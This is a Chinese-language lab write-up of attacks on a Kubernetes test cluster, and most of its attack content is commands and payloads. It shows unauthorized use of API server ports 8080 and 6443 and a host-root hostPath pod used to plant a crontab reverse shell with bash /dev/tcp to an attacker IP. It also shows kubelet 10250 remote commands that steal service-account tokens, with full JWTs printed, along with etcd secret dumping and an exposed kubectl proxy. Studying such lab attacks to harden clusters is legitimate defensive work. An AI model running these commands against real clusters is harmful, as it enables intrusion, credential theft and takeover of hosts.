组件名称 | 默认端口 |
---|---|
api server | 8080/6443 |
dashboard | 8001 |
kubelet | 10250/10255 |
etcd | 2379 |
kube-proxy | 8001 |
docker | 2375 |
kube-scheduler | 10251 |
kube-controller-manager | 1025 |
本次环境
master 192.168.108.100
node01 192.168.108.101
node02 192.168.108.102
利用fscan进行端口扫描
fscan.exe -h 192.168.108.102,192.168.108.100,192.168.108.101 -p 1-65535 -np -nopoc -nobr
利用Kali自带的nmap扫描
旧版本的k8s的API Server 默认会开启两个端口:8080 和 6443。
6443是安全端口,安全端口使用TLS加密;但是8080 端口无需认证,仅用于测试。6443 端口需要认证,且有 TLS 保护。
新版本k8s默认已经不开启8080,在我们端口扫描过程中也可以发现8080端口的状态是检测不到的。
需要更改相应的配置,配置文件在/etc/kubernets/manifests中的kube-apiserver.yaml中,其他文章中有的说在api-kube.conf中
对于内容进行添加
–insecure-port=8080
–insecure-bind-address=0.0.0.0
重启服务
systemctl daemon-reload
systemctl restart kubelet
接下来我们访问master节点的8080端口,即可返回API接口列表,如果开发者使用8080端口并将其暴露在公网上,攻击者就可以通过该端口的API,直接对集群下发指令。
我们尝试利用一台Kali去未授权访问,这里记得ip要带上端口
kubectl -s 192.168.108.100:8080 get nodes
获得了API权限后我们如何进一步利用呢
既然要创建新的容器,那么我们就需要了解K8S中如何新建容器。
K8S利用yaml文件来新建,因此需要了解其编写结构和规则
大小写敏感
使用缩进表示层级关系
缩进时不允许使用Tal键,只允许使用空格
缩进的空格数目不重要,只要相同层级的元素左侧对齐即可
”#” 表示注释,从这个字符一直到行尾,都会被解析器忽略
在Kubernetes中,只需要知道两种结构类型即可: Map List
接下来是代码结构
#test-pod
apiVersion: v1 #指定api版本,此值必须在kubectl apiversion中
kind: Pod #指定创建资源的角色/类型
metadata: #资源的元数据/属性
name: test-pod #资源的名字,在同一个namespace中必须唯一
labels: #设定资源的标签
k8s-app: apache
version: v1
kubernetes.io/cluster-service: "true"
annotations: #自定义注解列表
- name: String #自定义注解名字
spec: #specification of the resource content 指定该资源的内容
restartPolicy: Always #表明该容器一直运行,默认k8s的策略,在此容器退出后,会立即创建一个相同的容器
nodeSelector: #节点选择,先给主机打标签kubectl label nodes kube-node1 zone=node1
zone: node1
containers:
- name: test-pod #容器的名字
image: 10.192.21.18:5000/test/chat:latest #容器使用的镜像地址
imagePullPolicy: Never #三个选择Always、Never、IfNotPresent,每次启动时检查和更新(从registery)images的策略,
# Always,每次都检查
# Never,每次都不检查(不管本地是否有)
# IfNotPresent,如果本地有就不检查,如果没有就拉取
command: ['sh'] #启动容器的运行命令,将覆盖容器中的Entrypoint,对应Dockefile中的ENTRYPOINT
args: ["$(str)"] #启动容器的命令参数,对应Dockerfile中CMD参数
env: #指定容器中的环境变量
- name: str #变量的名字
value: "/etc/run.sh" #变量的值
resources: #资源管理
requests: #容器运行时,最低资源需求,也就是说最少需要多少资源容器才能正常运行
cpu: 0.1 #CPU资源(核数),两种方式,浮点数或者是整数+m,0.1=100m,最少值为0.001核(1m)
memory: 32Mi #内存使用量
limits: #资源限制
cpu: 0.5
memory: 1000Mi
ports:
- containerPort: 80 #容器开发对外的端口
name: httpd #名称
protocol: TCP
livenessProbe: #pod内容器健康检查的设置
httpGet: #通过httpget检查健康,返回200-399之间,则认为容器正常
path: / #URI地址
port: 80
#host: 127.0.0.1 #主机地址
scheme: HTTP
initialDelaySeconds: 180 #表明第一次检测在容器启动后多长时间后开始
timeoutSeconds: 5 #检测的超时时间
periodSeconds: 15 #检查间隔时间
#也可以用这种方法
#exec: 执行命令的方法进行监测,如果其退出码不为0,则认为容器正常
# command:
# - cat
# - /tmp/health
#也可以用这种方法
#tcpSocket: //通过tcpSocket检查健康
# port: number
lifecycle: #生命周期管理
postStart: #容器运行之前运行的任务
exec:
command:
- 'sh'
- 'yum upgrade -y'
preStop:#容器关闭之前运行的任务
exec:
command: ['service httpd stop']
volumeMounts: #挂载持久存储卷
- name: volume #挂载设备的名字,与volumes[*].name 需要对应
mountPath: /data #挂载到容器的某个路径下
readOnly: True
volumes: #定义一组挂载设备
- name: volume #定义一个挂载设备的名字
#meptyDir: {}
hostPath:
path: /opt #挂载设备类型为hostPath,路径为宿主机下的/opt,这里设备类型支持很多种
#nfs
输入指令,即可查看apiVersion支持的版本
kubectl api-versions
我们尝试先简单创建一个容器
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
接下来利用未授权进入该容器中写入定时任务
利用8080的未授权API接口进入创建的容器
kubectl -s 192.168.108.100:8080 --namespace=default exec -it test bash
写入定时任务
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.108.131/9999 0>&1\n" >> /mnt/etc/crontab
这里本来的想法是反弹到公网的服务器上的,但发现实现不了需要端口映射到物理机,因此在Kali中接收shell,这里需要等一会,大概1分钟内能有回显
这个方法虽然能够使得我们getshell成功,但我们发现这个得到shell的目标是随机的,我们创建的pod是随机选择node进行创建的。
首先创建一个新的密钥对
ssh-keygen -t rsa #-t表示类型选项,这里采用rsa加密算法
第一个回车:让我们输入一个目录路径来保存生成的密钥对,默认为/root/.ssh ,回车代表直接默认,也可以自己输入一个路径来保存
第二个回车:让我们设置私钥密码,如果设置了私钥密码,每次使用 SSH 进行操作都需要输入私钥密码。这里直接空格就是密码为空,这样每次使用就不需要输入密码
第三个回车:这个就是单纯的再次输入私钥密码(就是一个确认密码),我们本来就是想设置密码,所以还是至二级回车即可
像我上面那样的话密钥对就已经生成了,我们到自己设置的秘钥对路径下看看,如果没有设置路径的话就是默认路径/root/.ssh,查询结果如下
生成成功后,接下来就要考虑如何写入我们的密钥对了
:::info
方法一
:::
在没有 ssh-copy-id的情况下(比如在 Windows 上),也是可以轻松做到这件事的。用命令的话也是一句话搞定
ssh [email protected] -p 22 'mkdir -p .ssh && >> .ssh/authorized_keys' < ~/.ssh/id_rsa.pub
但需要知道对方登录密码,因此放弃。
:::info
方法二
:::
手动把本地的 ~/.ssh/id_rsa.pub 复制到目标机器的~/.ssh/authorized_keys 文件中
但因为我们目前node01里面存在的是docker环境因此无法完成写入操作
如何判断自己是否在docker中
方式一:判断根目录下 .dockerenv 文件
docker环境下:ls -alh /.dockerenv , 非docker环境,没有这个.dockerenv文件的
ls -alh /.dockerenv
注:定制化比较高的docker系统也可能没有这个文件
方式二:查询系统进程的cgroup信息
docker 环境下:
cat /proc/1/cgroup
这里先不讲docker逃逸,先介绍完K8S的攻击面
api server组件除了8080端口还开放着6443端口,这里需要注意6443的协议是TLS,需要带有前缀https://访问,访问后发现回显403是因为:
6443端口的利用要通过API Server的鉴权,直接访问会提示匿名用户鉴权失败
在实际情况中,一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
看到泄露的API和8080端口似乎类似,是否能够直接利用呢,答案是不能直接利用
但通过网页的交互可以达到同样的效果
https://192.168.108.100:6443/api/v1/namespaces/kube-system/secrets
https://192.168.108.100:6443/api/v1/namespaces/default/pods?limit=500
利用kubectl自带的功能,可以直接实现类似攻击8080端口的方式,创建一个pod然后得到shell
kubectl --insecure-skip-tls-verify -s https://192.168.108.100:6443 get node
创建特权容器
https://192.168.108.100:6443/api/v1/namespaces/default/pods/test-1
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-1\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-1\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-1","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
利用正常的POST传输似乎无法成功
利用渗透工具cdk再次尝试
./cdk_linux_amd64 kcurl anonymous post 'https://192.168.108.100:6443/api/v1/namespaces/default/pods?filedManager=kubectl-client-side-apply' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-1\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-1\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-1","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'
通过该方法需要定位到正确的API接口,否则会报错
接下来攻击方法类似
Node开放端口10250,直接访问无法访问,需要加入路由/pods
https://192.168.108.102:10250/pods
Kubelet API 一般监听在2个端口:10250、10255。其中,10250端口是可读写的,10255是一个只读端口。
10250是 kubelet API 的 HTTPS 端口,在默认情况下,kubelet 监听的 10250 端口没有进行任何认证鉴权,导致通过这个端口可以对 kubelet 节点上运行的 pod 进行任何操作。目前在k8s默认的安全配置下,Kubelet API是需要安全认证的。
最常见的未授权访问一般是10255端口,但这个端口的利用价值偏低,只能读取到一些基本信息。
为测试,修改配置信息,在对应节点(本机是node02)上打开配置文件/var/lib/kubelet/config.yaml
默认是false,修改authentication的anonymous为true,将 authorization mode 修改为 AlwaysAllow,之后重启kubelet进程。
接下来重启下kubectl
systemctl restart kubelet
想要在容器里执行命令的话,我们需要首先确定namespace、pod_name、container_name这几个参数来确认容器的位置。
- metadata.namespace 下的值为 namespace
- metadata.name下的值为 pod_name
- spec.containers下的 name 值为 container_name
上述是获取当前node的所有的pod,我们可以利用其他API来获取正在运行的
https://192.168.108.102:10250/runningpods/
获取了三个字段后执行命令
-执行模版:
curl -XPOST -k "https://192.168.108.102:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"
curl -XPOST -k "https://192.168.108.102:10250/run/default/nginx-6867cdf567-9sv8d/nginx" -d "cmd=id"
接下里的操作可以有很多,我们介绍下获得token
在对应的容器里执行命令,获取 Token,该token可用于Kubernetes API认证,Kubernetes默认使用RBAC鉴权(当使用kubectl命令时其实是底层通过证书认证的方式调用Kubernetes API)
token 默认保存在pod 里的/var/run/secrets/kubernetes.io/serviceaccount/token
curl -XPOST -k "https://192.168.108.102:10250/run/default/nginx-6867cdf567-9sv8d/nginx" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
如果挂载到集群内的token具有创建pod的权限,可以通过token访问集群的api创建特权容器,然后通过特权容器逃逸到宿主机,从而拥有集群节点的权限,这里类似于我们的横向渗透
kubectl --insecure-skip-tls-verify=true --server="https://192.168.108.100:6443" --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IlQzZUZucGJJbmtHUVJTTVNWZE4yRlFaYlMwQU5Vb3RyZzAzNUZhbUZGNFEifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tOXJ0Z3YiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjE1NzdiNWYxLTMxMjQtNDg2NS1iZDBkLWY4OTc4N2U1MzM3ZSIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.xRU5DY0YZx9QAVw9qnbb6RMWb_9oYv0W5OjVHasmFtCpIPI5Hg2NNf6pRXtsDZc4XomqXRpPdF5YTnnxwa7pOL6Sy0RzBQYDoirMsc1qoW6wsI9YlO8hEf73aTXIDP9QwnwNn2UWktkYkXyiPiDPHd5G64WXqyKg0apW-HcgLYzrmwII2fy6OJYOJJQFwdebrWlgshPhAoT-GTs3KRHRGfJsDHJ6zC0mIXwxthDz1HSI4pxX-v4wmq3R0UYx5Nr-yKhHMgzKjZqoX_xzZXCcRbvXm3yL5-UqKd_zTMX4r9SD93VS-eNKwZC9fnhN8Ey9jXY3NNazsHG9PSJsAwtfTA" get pods
报错是
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:default" cannot list resource "pods" in API group "" in the namespace "default"
我们上述讲到了,需要获取的token有创建权限,这里的报错是因为我们的token没有创建权限,尝试换一个
curl -XPOST -k "https://192.168.108.102:10250/run/kube-system/kube-proxy-l2psz/kube-proxy" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
#得到的token
eyJhbGciOiJSUzI1NiIsImtpZCI6IlQzZUZucGJJbmtHUVJTTVNWZE4yRlFaYlMwQU5Vb3RyZzAzNUZhbUZGNFEifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJrdWJlLXByb3h5LXRva2VuLTJidzhsIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6Imt1YmUtcHJveHkiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkNGExYWViOS04ZWUxLTQ0NzktODlhZi01OGFlYTEyZWM1NjQiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06a3ViZS1wcm94eSJ9.p5hlTUIYMIfjVNey6g8e4lYAnlB9Jae2d8A4hxLenGGUuyjkHbu8W7z9E7HZ9IEvzVjd8eQFv8_NGTGjTNL8qbRX6nszqg0DS5ABp5ZHHWiYSTD1222etxmi-BN4Qu296PzGG_Udr64cJkRsztJ1PkDrsrGndwWwsds5qzDGlZEgvyrt9Farlo3NyBTjNCU7hdDthBmjFq0Gqufkw-BNb88s0JgkmEx-fs7p2wPwk2nEKstC8f2ARRZx75PCMS-pLEUGHpphLKDAP1O08pwO3JzhZrc3LJpPB-0XPayNQiPYgJjshttV7ICV3FiTGoiP2H_UeyLtytzfXgIk9eX5jA
#
kubectl --insecure-skip-tls-verify=true --server="https://192.168.108.100:6443" --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IlQzZUZucGJJbmtHUVJTTVNWZE4yRlFaYlMwQU5Vb3RyZzAzNUZhbUZGNFEifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJrdWJlLXByb3h5LXRva2VuLTJidzhsIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6Imt1YmUtcHJveHkiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkNGExYWViOS04ZWUxLTQ0NzktODlhZi01OGFlYTEyZWM1NjQiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06a3ViZS1wcm94eSJ9.p5hlTUIYMIfjVNey6g8e4lYAnlB9Jae2d8A4hxLenGGUuyjkHbu8W7z9E7HZ9IEvzVjd8eQFv8_NGTGjTNL8qbRX6nszqg0DS5ABp5ZHHWiYSTD1222etxmi-BN4Qu296PzGG_Udr64cJkRsztJ1PkDrsrGndwWwsds5qzDGlZEgvyrt9Farlo3NyBTjNCU7hdDthBmjFq0Gqufkw-BNb88s0JgkmEx-fs7p2wPwk2nEKstC8f2ARRZx75PCMS-pLEUGHpphLKDAP1O08pwO3JzhZrc3LJpPB-0XPayNQiPYgJjshttV7ICV3FiTGoiP2H_UeyLtytzfXgIk9eX5jA" get pods
还是没权限,但能执行命令了也许getshell了,如果获得了权限接下来的操作和攻击8080端口类似
原理
etcd组件默认监听2379端口:默认通过证书认证,主要存放节点的信息,如一些token和证书。
kubernetes的master会自动安装etcd v3(注意版本)用来存储数据,如果管理员进行了错误的配置,导致etcd未授权访问的情况,那么攻击者就可以从etcd中拿到kubernetes的认证鉴权token,从而接管集群。
利用
etcd2和etcd3是不兼容的,两者的api参数也不一样。k8s现在使用的是etcd v3,必须提供ca、key、cert,否则会出现Error: context deadline exceeded。
nmap虽然没有扫到node01和node02的2379端口,但执行命令后依旧可以得到回显,可以看到Error: context deadline exceeded。
etcdctl --endpoints=https://192.168.108.100:2379 get / --prefix --keys-only
#得到的回显
{"level":"warn","ts":"2023-11-22T10:34:49.456+0800","caller":"clientv3/retry_interceptor.go:62","msg":"retrying of unary invoker failed","target":"endpoint://client-64f6a717-0ddc-4dc9-a1ca-a2097c19d93c/192.168.108.100:2379","attempt":0,"error":"rpc error: code = DeadlineExceeded desc = latest balancer error: all SubConns are in TransientFailure"}
Error: context deadline exceeded
默认情况下需要授权才能访问,带上证书访问:
etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://192.168.108.100:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
但目前版本的2379端口不存在未授权,因此修改配置,配置文件:/etc/kubernetes/manifests/etcd.yaml,下图红框中的配置从true改为false或者注释掉
重启服务,但仍无法访问
systemctl restart kubelet.service
因为无法成功配置,这里直接从master里面把证书偷出来
接下来带着证书执行命令,为方便后续的输入,先加入env但结果还是不行
etcdctl --endpoints=192.168.108.100:2379 get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole
如果上述代码执行成功获取了token,即可利用该token去6443端口控制API
当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy,该命令类似于php或者python起一个web服务的命令一样,运维人员使用kubectl proxy命令就可以使API server监听在本地的8009端口上:
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=9999
这里回到master节点发现kubectl执行不了命令了
利用指令排查下
kubectl get cs
发现问题出在了controller-manager中,进入manifests中的kube-scheduler.yaml,将多余的内容即红框中的内容删除,再次重启kubectl即可
systemctl restart kubectl.service
再次开放Kubectl Proxy端口尝试,成功
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=9999
除了K8S自身开放的端口外,还可以对一些控制K8S的组件进行攻击,这里介绍dashboard
Dashboard 是基于网页的 Kubernetes 用户界面。 你可以使用 Dashboard 将容器应用部署到 Kubernetes 集群中,也可以对容器应用排错,还能管理集群资源。
部署时需要考虑兼容性
#查看kubectl版本
kubectl version
#查看适配表
https://github.com/kubernetes/dashboard/releases?page=2
我的kubctl是1.17版本的,因此找到的对应版本是2.0.0
github中由下载语句复制进虚拟机直接执行即可
kubectl delete ns kubernetes-dashboard
kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-rc7/aio/deploy/recommended.yaml
但这个是一键安装,如果需要自己配置的话,那么先wget下来yaml文件再apply
#
wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-rc7/aio/deploy/recommended.yaml
#命名空间默认为 kubernetes-dashboard,将其修改为 kube-system
sed -i '/namespace/ s/kubernetes-dashboard/kube-system/g' recommended.yaml
#修改配置文件,如下图两处皆为新增
vim recommended.yaml
#创建 dashboard pod
kubectl create -f recommended.yaml
但我们之前不小心执行过一键部署命令所有这里报错,显示已经存在
kubectl get services --all-namespaces
通过
#这里的recommended是我们github上一键安装的文件
kubectl delete -f recommended.yaml
使得namespaces不会被占用
但看到一篇文章说其实这个报错可以忽略,最主要是第三个报错,说我们的格式有问题,回去看了下发现我们的键值对冒号后要空格一下
修改好后执行create操作即可完成
kubectl create -f recommended.yaml
查看下状态,发现存在但没有启动
kubectl get deployment kubernetes-dashboard --namespace=kube-system
#
kubectl get service kubernetes-dashboard --namespace=kube-system
尝试删除后重新创建
kubectl delete -f recommended.yaml
#
kubectl create -f recommended.yaml
还是没有READY
查看pods,进行删除
kubectl get pods -n kube-system
#
kubectl delete pod 选中的name -n kube-system
仍无法成功,后续再补充
攻击角度
https://www.freebuf.com/articles/network/342587.html
https://xz.aliyun.com/t/11495#toc-11
https://paper.seebug.org/1803/
https://www.freebuf.com/vuls/196993.html
https://www.freebuf.com/articles/network/363137.html
https://xz.aliyun.com/t/11316#toc-10
编写yaml
https://blog.csdn.net/m0_54024707/article/details/122225607
写入密钥对
https://cloud.tencent.com/developer/article/2161277
判断docker环境
https://blog.csdn.net/ternence_hsu/article/details/100678307
攻击2379
https://blog.csdn.net/weixin_53009585/article/details/133848511
https://www.freebuf.com/articles/web/333225.html
安装dashboard
https://zhuanlan.zhihu.com/p/494374026